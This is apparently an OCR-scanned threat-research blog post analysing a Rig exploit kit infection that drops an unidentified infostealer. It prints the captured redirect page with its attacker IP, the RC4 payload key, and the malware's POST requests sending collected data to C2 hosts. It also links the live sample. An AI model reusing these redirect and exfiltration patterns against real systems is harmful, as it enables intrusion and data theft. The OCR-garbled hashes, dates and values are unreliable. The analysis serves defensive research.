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Summary:

Back again with the Rulan campaign. Recently it has changed it's usual payload and we
have seen Quant Loader, Coin Miner and KINS.

This time it is back and dropped a payload which | have struggled to ID. It has all the
characteristics of an infostealer (gathering data then sending to C2). I've been unable to
decipher what data it is ending and why. The C2 domains also did not trigger any ET/Snort
rules.

It's interesting for sure and I'd be interested to know more about it so keep an eye on Twitter.

Background Information:

A few articles on Rig exploit kit and it's evolution:

https://www.uperesia.com/analyzing-rig-exploit-kit
http://malware.dontneedcoffee.com/2016/10/rig-evolves-neutrino-waves-goodbye.html
http://securityaffairs.co/wordpress/55354/cyber-crime/rig-exploit-kit-cerber.html

Downloads

(in password protected zip)

o 21-September-2018-Rig-Infostealer-PCAP-> Pcap of traffic

o 21-September-2017-Rig-Infostealer-CSV-> CSV of traffic for IOC’s

o 21-September-2017-Infostealer-> Infostealer —
3f9fd83a014de13794d4a701883e029de802533bac37f8¢c4489e7e00053054bb

Unfortunately having a few issues with WordPress so the payload is on tinyupload for now.
Let me know if it goes down.

Details of infection chain:

(click to enlarge!)
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Full Details:

Rulan has been providing various payloads over the past week or so. A coin miner and even
KINS was spotted earlier this week by @nao_sec. It is still using a JS redirector and a HTTP
refresh to redirect the victim to Rig EK.
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Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.16

Expires: Thu, 21 Jul 1977 ©7:30:08 GMT

Cache-Control: max-age=0

Pragma: no-cache

Set-Cookle: eB95c=%7B%22streams¥22%3A%7B%221431%22%3A1585896076%7D%2C
%22campaignsh22%3A%7B%221%22%3A1505896076%7D%2C%22time%22%3A1585981693%7D;
expires=Sun, 22-0ct-2017 ©8:14:53 GMT; path=/; domain=.kupired.ru

<html>
<head>»
<meta http-equiv="REFRESH" content="1; URL="http://
188.225.86.182/7?
NTc2NzQ5&0pas=SwZhno@PU18TpqutjEXcnBTOhIKL _heFNwhArpaXHLNveVEekzLISIs4uxxTTv2NZz
0BtYl4gpQtR2azI&hopas=xHzQMrTYbRVFFYffKP_EUKBEMU3WABOKwWYyZhavVFSuxFDLGpbL1Fxnsp
V6dCF-EmvIvdLcHIWCh1UHA&shops=NjY20DkzMg==""">
<script type="text/javascript"»window.location = "http://
188.225.86.182/?
NTc2NzQS5&opas=SwZhno@PU18TpqutjEXcnBTOhIKL_heFNwhArpaXHLNveOVEkzLISIs4uxxTTv2NZz
0BtYl4gpQtR2azI&hopas=xHzQMrTYbRVFFYffKP_EUKBEMU3WABOKwWYyZhavVFSuxFDLGpbL1Fxnsp
V6dCF-EmvIvdLcHIWCh1UHA&shops=NjY20DkzMg==";</script>
</head>
</html>

Rig itself continues to change up it's parameters this time using “opas*®, “hopas” and “shops®.

S2NTc2NzQ5

no@PULETpqut JEXcnBTORIKL _ ArpaXHLNweVe S51s ¥1d4gpQtR2azl
bRvFFY+FFKP_EUKEEMU Yy ZhavWVFSux 6dCF-EmvIvdLcHIwCh1UHA

czMg==

The RC4 key is now “marydcetoz®. You can use this to decrypt the payload from the pcap.

The payload appeared to be an infostealer by nature. | was unable to identify it though
sought the aid of @James_inthe_box who digged further but could not identify it.

SHA-256 3f9fd83a014de13794d4a701883e029de802533bac37f8c4489e7e00053054bb
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File eb11bac9e73f7f6fed3506e28a13dacbfa3fbdcO

name

File size 288 KB

The payload copied itself into a folder called “ZSysRaw” and the binary was named
“sysraw.exe”. It then began to collect information and store it in a folder called “data“.

r| I % Users » User » AppData » Roaming » ZSysRaw » data

L Include in library «
e MName
=ktop | | le-.dat
ywnloads || 1D+.dat
wcent Places || le-.dat
smp || 1F+.dat
raming || 1K+.dat
| | 1p-.dat
aries || 1r-.dat
rcuments | | 15+.dat
wsic || 1T+.dat
ctures || lu-.dat
deos | | 1U+.dat
| 1X+.dat
nputer | | 1z-.dat
|| 11=.dat
work || 18=.dat
|| 19=.dat

Share with =

rd

Date modified

20/08/2017 18:26
20/09/2017 17:53
20/00/2017 18:24
20/09/2017 18:01
20/09/2017 17:48
20/09/2017 18:06
20/09/2017 17:58
20/09/2017 17:50
20/09/2017 18:21
20,/09/2017 18:11
20,/09/2017 18:03
20/09/2017 18:08
20/09,/2017 18:19
20/09/2017 17:55
20/09/2017 18:16
20/09/2017 158:14

- | +3 | | Search data

Type

DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File
DAT File

= O
Size

50 KB
3,057 KB
51 KB
3,052 KB
3,067 KB
51 KB
49 KB
51 KB
50 KB
52 KB
52 KB
53 KB
52 KB
270 KB
3,059 KB
3046 KB

The malware began with a POST request ending with “load.php®. It looks like Base64 but |

could not decode it into anything meaningful.

i
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POST /wp-content/plugins/WPSecurity/load.php HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Accept: */*

User-Agent: Mozilla/4.@ (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: B4

Host: www.citycentretherapy.com

JyhnD@swWecRMtevv7leydhgDRMogk2slzcgc2UjdeDi6BeHEF SwdeQUtHF1cEi72fSJAZIcAIGj16EUR
TPsoHTTP/1.1 28@ OK

Date: Thu, 21 Sep 2017 ©8:16:1@ GMT

Server: Apache

Content-Length: 52

Keep-Alive: timeout=3, max=5@

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

8NU6jaBHaIeMZI1lg6CMFnotXWRQorMgqNGYZRUENAYKFLTbebSwWD

Next it began to POST data from the text files it created. Again | could not decode this data.
Each text file it created it then sent to the C2 with each file reaching a size of around 3kb~.

POST /wp-content/plugins/WPSecurity/data/1Y+.txt HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Accept: */*

User-Agent: Mozilla/4.@ (compatible; Win32; WinHttp.WinHttpRequest.5)
Content-Length: 5

Host: sklepugolana.pl

FalseHTTP/1.1 28@ OK

Date: Thu, 21 Sep 2017 ©9:02:37 GMT

Server: Apache

Last-Modified: Fri, 18 Aug 2017 15:15:49 GMT
Accept-Ranges: bytes

Content-Length: 5362@

Vary: User-Agent

Keep-Alive: timeout=2, max=1eeee

Connection: Keep-Alive

Content-Type: text/plain

1YdKeMEfRtyLXTtvS4uzTUkwmk9L3jby4
1Y7YQ693yt8KquLaAitKoXbefVnqlise2
1YbbB35ZcZaVM7CbeK6hUpVQmtVeDHBNQ
1YHikSyyMyvBhU22uvHGASuCr8hBoUPeS
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The payload did not trigger any signatures (ET/Snort) though it's behaviour is indicative of an
information stealer. Keep checking Twitter, it’s likely some more info will come!

TEROFHAGE
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